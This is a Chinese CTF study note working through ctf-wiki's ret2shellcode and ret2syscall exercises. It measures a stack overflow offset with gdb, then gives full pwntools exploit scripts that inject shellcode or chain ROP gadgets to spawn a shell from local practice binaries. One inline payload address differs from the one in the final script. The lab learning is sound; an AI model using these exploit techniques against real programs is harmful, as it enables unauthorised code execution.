例一:ret2shellcode
先复习一下计算与ebp的距离的方法,昨天复习的是用pattern来寻找,今天复习另一种,以ctfwiki的ret2text为例。
先用ida打开查看源码
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; }
发现变量v4地址是esp+1c,所以gdb打开,在 call get处下断,
.text:080486A7 lea eax, [esp+1Ch] .text:080486AB mov [esp], eax ; s .text:080486AE call _gets
然后查看esp和ebp
gef➤ b *0x080486AE Breakpoint 1 at 0x80486ae: file ret2text.c, line 24. gef➤ r There is something amazing here, do you know anything? Breakpoint 1, 0x080486ae in main () at ret2text.c:24 24 gets(buf); ───────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffffcd5c → 0x08048329 → "__libc_start_main" $ebx : 0x00000000 $ecx : 0xffffffff $edx : 0xf7faf870 → 0x00000000 $esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main" $ebp : 0xffffcdc8 → 0x00000000 $esi : 0xf7fae000 → 0x001b1db0 $edi : 0xf7fae000 → 0x001b1db0 $eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
esp为0xffffcd40,所以v4的位置为0xffffcd40+1c(0xffffcd5c),ebp为0xffffcdc8,v4与ebp的距离=0xffffcdc8-0xffffcd5c=6c
十进制就是108。
----------------------------------------------------------------------------------------------------------------------------------
开始今天的正题,ret2shellcode
先用checksec查看:没什么问题
ida打开,查看源码
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; }
根据以上方法计算得到与ebp的距离为108。
然后源码中可看出,程序将输入的字符串复制进了buf2中,所以我们要找到buf2的地址
ida双击,即可看到
.bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100]
buf2在bss段,地址为0804a080,我们用gdb中的vmmap查看一下权限
发现所在段权限为rwxp 可读可写可执行
下面为脚本
#!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh())#生成shellcode buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))#string.ljust('长度','填充字符'),意思是要是shellcode这个字符串长112,多出来的用a填充 sh.interactive()
例二:ret2syscall
用checksec查看:开了nx保护栈上数据不可执行
源码为:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
用同上方法找到v4与ebp的距离为108
我们需要寻找可用gadgets,详解见ctfwiki:
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb(exeve的系统调用号为0xb)
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具
寻找eax:ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
寻找ebx:ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
我们选择,0x080bb196 : pop eax ; ret 和 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
寻找‘/bin/sh’:ROPgadget --binary ret2syscall --string '/bin/sh'
寻找int 0x80:ROPgadget --binary ret2syscall --only 'int'
payload = 'a'*112+p32(0x080bb196)+p32(0xb)+p32(0x0806eb90)+p32(0)+p32(0)+p32(0x080be408)+p32(0x8084942
1)#填充字符|popeax|eax赋值|pop edx ecx ebx|edx赋值|ecx赋值|ebx赋值|系统调用
脚本如下:
from pwn import *
sh = process('./ret2syscall')
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh_addr = 0x080be408
payload = 'a'*112
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr)
payload += p32(int_0x80)
sh.sendline(payload)
sh.interactive()
最后抱怨一句,天杀的期末考!!!